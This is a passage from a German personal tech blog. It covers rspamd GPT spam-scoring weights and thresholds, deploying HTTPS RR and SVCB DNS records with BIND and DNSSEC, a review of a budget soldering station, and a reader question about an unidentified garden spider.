  GPT_SPAM       { weight = 9.0;  description = "GPT: classified as SPAM"; }
  GPT_SUSPICIOUS { weight = 4.5;  description = "GPT: classified as SUSPICIOUS"; }
  GPT_HAM        { weight = -0.5; one_shot = true; description = "GPT: classified as HAM"; }
}

Warum diese Gewichte?

  • GPT_SPAM (9.0): Kräftig, aber alleine nicht genug zum Rejecten. Erst in Kombination mit anderen Signalen (Bayes, RBL, fehlende Auth) wird der Reject-Threshold erreicht.
  • GPT_SUSPICIOUS (4.5): Schiebt Grenzfälle in Richtung Greylist oder Add-Header. Genau dafür ist GPT am nützlichsten.
  • GPT_HAM (-0.5): Bewusst niedrig und one_shot. GPT soll Spam erkennen, nicht Ham retten.

Dazu die Action-Thresholds:

actions {
  greylist   = 4;
  add_header = 6;
  reject     = 12;
}

Reject-Threshold bei mir: 12 statt Default 15. Das geht, weil die traditionellen Checks (SPF, DKIM, DMARC, RBL, Bayes, DNSBL) bereits solide arbeiten. GPT kommt als zusätzliches Signal obendrauf.

Praxis-Beispiel

Hier eine echte Spam-Mail aus dem Log, bei der GPT korrekt angeschlagen hat:

rspamd_task_write_log: (default: T (reject): [13.83/12.00]
  [BAYES_SPAM(5.10){100.00%;},
   ABUSE_SURBL(5.00){next.schnapper-empfehlung.de:url;...},
   GPT_SPAM(2.40){0.9;},
   FROM_NEQ_ENVFROM(0.50){...},
   FORGED_SENDER(0.30){...},
   ...]

Was man hier sieht:

  • GPT_SPAM(2.40){0.9;} — GPT hat Probability 0.9 (90% Spam) zurückgeliefert. Rspamd mappt den Probability-Wert nicht 1:1 auf das konfigurierte Gewicht, sondern skaliert intern — hier ergeben sich 2.40 von maximal 9.0 Punkten.
  • Zusammen mit BAYES_SPAM (5.10) und ABUSE_SURBL (5.00) kommt die Mail auf 13.83 — deutlich über dem Reject-Threshold von 12.
  • GPT war hier nicht das ausschlaggebende Signal, hat aber zur Gesamtbewertung beigetragen.

Das ist genau das Verhalten, das ich will: GPT als ein Baustein unter vielen, der bei Grenzfällen den Ausschlag geben kann.

Datenschutz

Das muss gesagt werden: Mit diesem Setup fließen Mailinhalte an OpenAI. Wer personenbezogene Daten verarbeitet oder in einem regulierten Umfeld arbeitet, muss prüfen ob das zulässig ist. Alternative: selbst gehostete Modelle über Ollama oder kompatible lokale Endpoints. Rspamd unterstützt das über den type-Parameter.

Für meinen privaten Mailserver ist das Risiko vertretbar — und die Ergebnisse sprechen für sich.

Update 2026-05-06: Rspamd hat den Default-Prompt deutlich verbessert

Im Feedback zu diesem Beitrag kam ein guter Hinweis aus dem Fediverse von @bash2@momou.social: Vsevolod Stakhov, Maintainer von Rspamd, hat am 2. Oktober 2025 den Default-Prompt komplett überarbeitet. Commit 893ee871, Titel „Improve LLM prompt and add sender frequency tracking“. Der neue Prompt ist deutlich strukturierter, mit expliziten Sektionen für legitime Muster (Verifikations-Mails, Transaktions-Mails, Password-Resets) und für Phishing-Indikatoren, die mehrfach auftreten müssen, bevor klassifiziert wird. Das senkt False-Positives auf legitime Absender und ist eine klare Verbesserung gegenüber dem alten, knappen Default. Danke für den Hinweis!

Wichtig zur Einordnung: Der neue Default-Prompt liefert weiterhin strukturierten Plain-Text, kein JSON. Output-Format sind 2 bis 3 fest definierte Zeilen (Score, Reason, optional Kategorie). Was das für die beiden gängigen Setups bedeutet:

  • json = false: Wer ohne JSON-Modus fährt, profitiert direkt vom neuen Default-Prompt. Rspamd auf eine Version mit dem Commit aktualisieren, fertig.
  • json = true wie in diesem Beitrag: Custom Prompt mit JSON-Format bleibt Pflicht. Der neue Default ist immer noch kein JSON und kollidiert weiterhin mit dem Parser.

Zusätzlich neu im selben Commit: Sender-Frequency-Tracking. Rspamd klassifiziert in lualib/llm_context.lua jeden Absender per Redis-Counter als new, occasional, known oder frequent und gibt dem Modell die Info als Context-Snippet mit. Der Prompt weist das LLM dann an, bei known oder frequent die Phishing-Wahrscheinlichkeit zu reduzieren, sofern keine starken Gegen-Signale vorliegen. Voraussetzung ist, dass die LLM-Context-Funktion mit Redis-Backend läuft, weil das Feature über den sender_counts-Counter dort getrackt wird.

Mein Setup hier im Beitrag bleibt also unverändert: json = true plus Custom Prompt, der explizit ein probability-Feld verlangt. Wer stattdessen den neuen Default-Prompt nutzen möchte, sollte gleichzeitig auf json = false umstellen, sonst läuft man wieder in die alte Falle aus diesem Beitrag.

Zusammenfassung

ParameterWertWarum
jsontrueStrukturiertes Parsing, zuverlässiger als Freitext
promptCustomPflicht bei json=true! Default-Prompt liefert Textformat, Parser erwartet JSON
temperature0.0Deterministische Antworten, kein Kreativitäts-Bonus beim Spamfiltern
allow_hamtrueKleines positives Signal für legitime Mails
symbols_to_exceptBAYES_HAM, DNSWL, Whitelists, SMTP_AUTH, SpamtrapsUnnötige API-Calls vermeiden
reason_headernicht gesetztNicht nötig mit json=true, interne Details gehören nicht in den Header

Die wichtigste Erkenntnis: json = true ohne Custom Prompt ist kaputt. Der Default-Prompt und der JSON-Parser sprechen unterschiedliche Sprachen. Wer json = true setzt, muss einen Prompt mitliefern, der JSON mit einem probability-Feld verlangt. Sonst steht im Log cannot convert spam score und GPT liefert nur GPT_UNCERTAIN(0.00).

Siehe auch: rspamd mit Dovecot und IMAPSieve

Fragen? Einfach melden.

HTTPS RR und SVCB: Moderne DNS-Records für schnellere und sicherere Verbindungen

30. September 2025 / / Keine Kommentare
HTTPS RR und SVCB DNS-Records – schnellere Verbindungen mit HTTP/3, QUIC und DNSSEC

Wenn ein Browser eine HTTPS-Verbindung aufbaut, braucht er normalerweise mehrere DNS-Lookups und Round-Trips, bevor er überhaupt weiß, welche Protokolle der Server unterstützt. Erst A/AAAA-Record abfragen, dann TCP-Verbindung, dann TLS-Handshake, dann Alt-Svc-Header parsen für HTTP/3. Das ist ineffizient und seit November 2023 gibt es mit RFC 9460 eine saubere Lösung dafür: den HTTPS Resource Record.

Die großen Browser Hersteller unterstützen das ebenfalls schon, eigentlich mehr aus Eigeninteresse, denn viele Vorschläge kommen sogar direkt von ihnen. Oh, natürlich sollte die jeweilige Zone auch per DNSSec geschützt sein, denn wir wollen uns hier ja auf´s DNS verlassen können. Richtig?! Wenn ihr also noch kein DNSsec für eure Domain aktiviert habt (warum nicht?) dann bitte jetzt, wir haben bald 2026!

Ich habe das jetzt auf meiner DNS-Infrastruktur (BIND 9.20, FreeBSD, Master-Slave-Setup) für alle relevanten Dienste ausgerollt und dabei auch gleich SVCB-Records für die DNS-Server selbst gesetzt. Hier die Details.

Was ist der HTTPS RR?

Der HTTPS Resource Record (Typ 65) ist in RFC 9460 definiert („Service Binding and Parameter Specification via the DNS“, November 2023). Die Idee ist simpel: ein einziger DNS-Lookup liefert dem Client alles, was er für den Verbindungsaufbau braucht. IP-Adressen, unterstützte Protokolle wie HTTP/2 oder HTTP/3, Ports, und perspektivisch auch die ECH-Konfiguration für verschlüsselten SNI.

Ohne HTTPS RR sieht der Ablauf so aus: Der Client fragt A und AAAA ab, baut eine TCP-Verbindung auf, macht den TLS-Handshake, und erfährt erst aus dem Alt-Svc-Header oder durch ALPN im TLS, dass der Server auch HTTP/3 kann. Beim nächsten Request kann er dann QUIC probieren. Das sind mindestens zwei Verbindungsversuche, bis er auf dem optimalen Protokoll landet.

Mit HTTPS RR weiß der Client schon nach dem DNS-Lookup: „Dieser Server spricht h3 und h2, ist unter diesen IPs erreichbar, und hier ist die ECH-Config.“ Er kann direkt mit QUIC/HTTP/3 starten, ohne vorher TCP probiert zu haben.

Die SvcParams im Detail

Ein HTTPS RR besteht aus einer Priorität (SvcPriority), einem Zielnamen (TargetName) und einer Reihe von Service Parameters (SvcParams). Hier ein Überblick über alle definierten Parameter:

alpn (Application-Layer Protocol Negotiation): Signalisiert welche Protokolle der Server unterstützt. Typische Werte sind h2 (HTTP/2 über TLS), h3 (HTTP/3 über QUIC) oder dot (DNS over TLS). Der Client weiß damit vor dem Verbindungsaufbau, welche Protokolle zur Verfügung stehen.

ipv4hint / ipv6hint: IP-Adressen als Hint. Der Client kann diese nutzen, statt einen separaten A/AAAA-Lookup zu machen. Das spart einen Round-Trip. Wichtig: das sind Hints, keine autoritativen Antworten. Der Client darf und sollte trotzdem den normalen A/AAAA-Record prüfen.

ech (Encrypted Client Hello): Enthält den öffentlichen Schlüssel und die Parameter für ECH. Damit verschlüsselt der Client den SNI (Server Name Indication) im TLS-Handshake, sodass ein Beobachter auf dem Netzwerkpfad nicht sehen kann, welche Domain angefragt wird. Das ist der größte Privacy-Gewinn, den HTTPS RR bieten kann. Dazu später mehr.

port: Falls der Service auf einem nicht-Standard-Port läuft. Bei normalen Webservern auf 443 nicht nötig.

no-default-alpn: Signalisiert, dass die Standard-ALPNs (die sich aus dem Schema ergeben) nicht gelten. Wird benötigt wenn ein Server z.B. nur h3, aber nicht h2 unterstützt.

mandatory: Listet Parameter auf, die ein Client zwingend verstehen muss, um den Record nutzen zu können. Ein Client, der einen mandatory-Parameter nicht kennt, muss den ganzen Record ignorieren.

SvcPriority: Die Priorität des Records. 0 bedeutet AliasMode (Weiterleitung auf einen anderen Namen, ähnlich CNAME), Werte größer 0 sind ServiceMode. Mehrere Records mit unterschiedlichen Prioritäten ermöglichen Fallback-Ketten.

TargetName: Der Zielserver. Wenn er sich vom abgefragten Namen unterscheidet, leitet der Client die Anfrage an diesen Host weiter. Das ermöglicht Indirektion, ähnlich wie bei SRV-Records.

SVCB: Das generische Pendant

Der SVCB Resource Record (Typ 64) kommt aus demselben RFC 9460, ist aber nicht auf HTTPS beschränkt. HTTPS RR ist technisch gesehen nur eine spezialisierte Variante von SVCB für das HTTPS-Schema. SVCB kann für beliebige Protokolle genutzt werden.

Besonders interessant wird SVCB für die DNS Service Discovery nach RFC 9461 („Service Binding Mapping for DNS Servers“, ebenfalls 2023). Damit kann ein DNS-Server per DNS-Record signalisieren, dass er DoT (DNS over TLS) und DoH (DNS over HTTPS, RFC 8484) unterstützt. Der Record liegt unter dem Prefix _dns. vor dem Servernamen.

Der dohpath-Parameter aus RFC 9461 teilt dem Client direkt den URI-Pfad zum DoH-Endpoint mit, z.B. /dns-query{?dns}. Damit braucht der Client keine separate Konfiguration mehr, wo der DoH-Endpoint liegt. Zusammen mit RFC 9462 („Discovery of Designated Resolvers“, DDR) kann ein Client damit automatisch erkennen, dass sein Resolver verschlüsselte Protokolle unterstützt, und automatisch upgraden.

Was ich konkret deployt habe

Insgesamt 5 neue Records in zwei Zonen. Für www.kernel-error.de und cloud.kernel-error.com existierten bereits HTTPS RRs.

Zone kernel-error.de:

Apex HTTPS RR für kernel-error.de selbst:

dig HTTPS kernel-error.de +short
1 kernel-error.de. alpn="h3,h2" ipv4hint=148.251.30.200 ipv6hint=2a01:4f8:262:4716::443

HTTPS RR für den DoH-Endpoint dns.kernel-error.de:

dig HTTPS dns.kernel-error.de +short
1 dns.kernel-error.de. alpn="h3,h2" ipv4hint=37.120.183.220 ipv6hint=2a03:4000:38:20e::853

SVCB Records für DNS Service Discovery nach RFC 9461. Zwei Records mit unterschiedlichen Prioritäten, DoH bevorzugt vor DoT:

dig SVCB _dns.dns.kernel-error.de +short
1 dns.kernel-error.de. alpn="h2,dot" dohpath=/dns-query{?dns} port=443
2 dns.kernel-error.de. alpn="dot" port=853

Priorität 1 bietet DoH über HTTP/2 (Port 443), Priorität 2 reines DoT (Port 853). Ein DDR-fähiger Client (RFC 9462) kann damit automatisch erkennen, welche verschlüsselten DNS-Protokolle mein Resolver unterstützt.

Zone kernel-error.com:

Apex HTTPS RR für kernel-error.com (Matrix Federation und Web):

dig HTTPS kernel-error.com +short
1 kernel-error.com. alpn="h3,h2" ipv4hint=148.251.30.204 ipv6hint=2a01:4f8:262:4716::52

HTTPS RR für matrix.kernel-error.com (Synapse Reverse Proxy). Über CNAME-Auflösung deckt dieser Record auch chat.kernel-error.com und admin.kernel-error.com ab:

dig HTTPS matrix.kernel-error.com +short
1 matrix.kernel-error.com. alpn="h3,h2" ipv4hint=148.251.30.204 ipv6hint=2a01:4f8:262:4716::52

CNAME-Interaktion: Ein wichtiges Detail

Laut RFC 9460 können HTTPS RR und CNAME nicht am selben DNS-Namen koexistieren. Das hat direkte Auswirkungen auf mein Setup: chat.kernel-error.com und admin.kernel-error.com sind CNAMEs auf matrix.kernel-error.com. Ein separater HTTPS RR für diese Namen ist also nicht möglich und auch nicht nötig. Der Client folgt dem CNAME und nutzt dann den HTTPS RR des Ziels.

Gleiches gilt für signaling.kernel-error.com, das ein CNAME auf rtc.kernel-error.com ist.

Was bewusst nicht umgesetzt wurde

ECH (Encrypted Client Hello): Wäre der größte Privacy-Gewinn. ECH verschlüsselt den SNI im TLS-Handshake, sodass ein Beobachter nicht sehen kann, welche Domain der Client anfragt. OpenSSL 3.5 hat die API dafür, aber nginx nutzt sie nicht. Selbst in Version 1.29.7 gibt es keine native ECH-Unterstützung. Dafür bräuchte es entweder Patches für nginx oder einen anderen Reverse Proxy. Sobald sich das ändert, kommt der ech-Parameter in die HTTPS RRs.

DoQ (DNS over QUIC, RFC 9250): DoQ ist ein eigenes Protokoll, das DNS direkt über QUIC transportiert, ohne HTTP-Overhead. Das ist nicht dasselbe wie DoH über HTTP/3! BIND 9.20 unterstützt kein DoQ. Dafür müsste man ein separates Frontend wie dnsproxy oder AdGuard DNS davor setzen.

SVCB für SMTP/IMAP: Es gibt IETF-Drafts, die SVCB auf Mail-Protokolle ausweiten wollen (SMTP Submission, IMAPS). Da diese aber noch kein finaler RFC sind und aktuell kein MTA oder Client sie auswertet, habe ich darauf verzichtet. Die bestehenden SRV-Records (_imaps._tcp, _submission._tcp, _submissions._tcp) sind heute das Richtige.

HTTPS RR für turn.kernel-error.com: Der primäre Zweck ist TURN/STUN, nicht Web. Clients bekommen den Server aus der Synapse-Konfiguration, ein HTTPS RR bringt hier keinen Vorteil.

HTTPS RR für rtc.kernel-error.com: Kein HTTP/3 auf diesem Server, da der nginx dort ohne h3-Modul läuft. Ein HTTPS RR mit nur alpn="h2" würde kaum Mehrwert bringen.

Deployment in DNSSEC-signierten Zonen

Beide Zonen sind mit DNSSEC signiert (ECDSAP256SHA256, inline-signing). Der Workflow für Änderungen an signierten Zonen ist immer derselbe:

rndc freeze kernel-error.de
# Zonendatei editieren, Serial hochzählen
named-checkzone kernel-error.de /path/to/zone/file
rndc thaw kernel-error.de

Nach dem thaw signiert BIND die neuen Records automatisch und der Slave (ns1) übernimmt die Änderungen sofort per NOTIFY und AXFR. BIND 9.20 unterstützt HTTPS und SVCB Records nativ, es ist also kein TYPE65-Workaround mit generischer Record-Syntax nötig.

Records prüfen

Wer sich die Records anschauen will:

dig HTTPS kernel-error.de +short
dig HTTPS dns.kernel-error.de +short
dig SVCB _dns.dns.kernel-error.de +short
dig HTTPS kernel-error.com +short
dig HTTPS matrix.kernel-error.com +short

Ausblick

Die offensichtlichste Lücke ist ECH. Sobald nginx native Unterstützung bekommt, wird der ech-Parameter in alle HTTPS RRs eingetragen. Das wäre dann echte SNI-Verschlüsselung für alle Dienste.

SVCB für SMTP und IMAP wäre der nächste logische Schritt, sobald die aktuellen IETF-Drafts zu finalen RFCs werden und MTAs/Clients anfangen, sie auszuwerten. Immer mal wieder setzte ich auch IETF-Drafts in meinem Setup oder Labor Setup um. In diesem speziellen Fall sehe ich darin aber keinen Nutzen. Aus irgendeinem Grund schaffen es solche IT Security Themen bei E-Mails nur sehr selten in eine „schnelle“ Umsetzung. Die Browserhersteller machen da bei HTTPS wohl genug selbst. Viele Ideen kommen ja sogar von diesen.

Und DoQ (RFC 9250) steht auf der Liste, sobald BIND oder ein brauchbarer Proxy es unterstützt. Dann würden die SVCB-Records um alpn="doq" ergänzt. Ich möchte nicht wieder etwas vor meinen DNS stellen. Das wird aber bereits von den großen Browsern unterstützt!

Siehe auch:

Bei Fragen oder Anmerkungen, einfach fragen.

Preciva 992D+ im Test: Löt- und Heißluftstation für Hobby & Repaircafé

9. September 2025 / / Keine Kommentare
Picture of Soldering Station Preciva 992D+

Weiter geht es mit einer Lötstation. Wie immer: Das ist ein Werkzeug, das ich selbst einsetze. Es bedeutet nicht, dass es das Beste der Welt ist oder dass man damit sofort eine professionelle SMD-Reparaturwerkstatt eröffnen sollte.

Ende des letzten Jahres war ich auf der Suche nach einer kompakten Lötstation, die eine ordentliche Wattleistung hat und eine Kombination aus Lötstation und Heißluftstation bietet. Sie sollte aber nicht zu teuer sein. Einzelne Geräte hatte ich zwar schon verschiedene, aber gedacht war es eher für den mobilen Einsatz im Repaircafé. Die dortigen Reparaturen sind meist überschaubar.

Dennoch muss ich zugeben, dass mich diese Station tatsächlich überrascht hat. Preis/Leistung sind wirklich gut. Fun Fact: Die FritzBox-Reparatur habe ich mit genau dieser Station gemacht – einfach um zu testen, was geht – und ja, es ging, und das sogar wirklich okay.

Natürlich ist sie nicht mit einer großen professionellen Station von beispielsweise Weller zu vergleichen. Aber das ist auch gar nicht der Anspruch. Das Ding kostet aktuell auf Amazon knapp 130 €. Dafür bekommt man 6 verschiedene Lötspitzen, Lötzinn, Heißluft mit verschiedenen Aufsätzen, ein digitales Display und ach … schaut mal selbst: https://amzn.to/47zAAmr

Ich würde behaupten: Die meisten Hobbyreparaturen – selbst im Bereich SMD – lassen sich damit problemlos durchführen. Aber hey, das ist nur meine Meinung.

Fragen? Einfach melden.

Unbekannte Spinne im Garten: Wolfsspinne oder doch etwas anderes?

8. September 2025 / / 1 Kommentar
Picture of a dead spider.

Ich selbst habe kein Problem mit Spinnen – das ist aber beim Rest meiner Familie nicht immer gegeben. Wie auch immer: Ich bilde mir ein, die meisten Spinnenarten, die hier in NRW so im Garten vorkommen, schon mal irgendwann gesehen zu haben. In den letzten Wochen finde ich aber immer mal wieder ein paar – für meinen Eindruck – recht große Exemplare, wenn auch bisher immer nur tot.

Eines habe ich mal fotografiert und zum Größenvergleich neben eine 10-Cent-Münze gelegt. Die AI sagt, dass es eine Wolfsspinne ist. Da würde ich aber spontan eher nach Nordamerika schielen. Kurz: Ich habe keine Ahnung. Fällt jemandem von euch etwas ein? Was ist das für eine Spinne?!

Fragen? Einfach melden.

« Ältere Beiträge Neuere Beiträge »

© 2026 -=Kernel-Error=- — RSS

Theme von Anders Norén — Hoch ↑